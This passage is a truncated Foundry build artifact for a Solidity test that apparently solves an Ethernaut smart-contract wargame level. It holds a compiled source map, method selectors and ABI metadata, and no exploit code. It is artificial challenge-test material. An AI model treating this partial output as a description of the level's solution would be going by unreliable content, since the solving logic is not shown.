;1987:6:132;;1978:16;;;;;-1:-1:-1;;;;;1987:6:132;;;1978:16;;;847:74:155;1894:73:132;;-1:-1:-1;1978:8:132;;;;820:18:155;;1978:16:132;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2035:9:132;;2054:8;;2004:61;;-1:-1:-1;2015:49:132;;-1:-1:-1;;;;;;2035:9:132;;;;2054:8;2015:19;:49::i;:::-;2004:10;:61::i;:::-;1850:222;1822:250::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19086:15:155;;;19068:34;;19138:15;;;19133:2;19118:18;;19111:43;19190:15;;;19185:2;19170:18;;19163:43;18995:2;18980:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1630:137:132;1681:6;;1667:21;;-1:-1:-1;;;1667:21:132;;-1:-1:-1;;;;;1681:6:132;;;1667:21;;;847:74:155;1667:13:132;;;;820:18:155;;1667:21:132;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1730:9:132;;1749:8;;1698:62;;-1:-1:-1;1710:49:132;;-1:-1:-1;;;;;;1730:9:132;;;;1749:8;1710:19;:49::i;:::-;1698:11;:62::i;:::-;1630:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20171:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20144:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19706:184::-;19776:6;19829:2;19817:9;19808:7;19804:23;19800:32;19797:52;;;19845:1;19842;19835:12;19797:52;-1:-1:-1;19868:16:155;;19706:184;-1:-1:-1;19706:184:155:o;19895:125::-;19960:9;;;19981:10;;;19978:36;;;19994:18;;:::i;20207:383::-;20404:2;20393:9;20386:21;20367:4;20430:45;20471:2;20460:9;20456:18;20448:6;20430:45;:::i;:::-;20523:9;20515:6;20511:22;20506:2;20495:9;20491:18;20484:50;20551:33;20577:6;20569;20551:33;:::i;:::-;20543:41;20207:383;-1:-1:-1;;;;;20207:383:155:o;20595:335::-;20674:6;20727:2;20715:9;20706:7;20702:23;20698:32;20695:52;;;20743:1;20740;20733:12;20695:52;20776:9;20770:16;20809:18;20801:6;20798:30;20795:50;;;20841:1;20838;20831:12;20795:50;20864:60;20916:7;20907:6;20896:9;20892:22;20864:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the 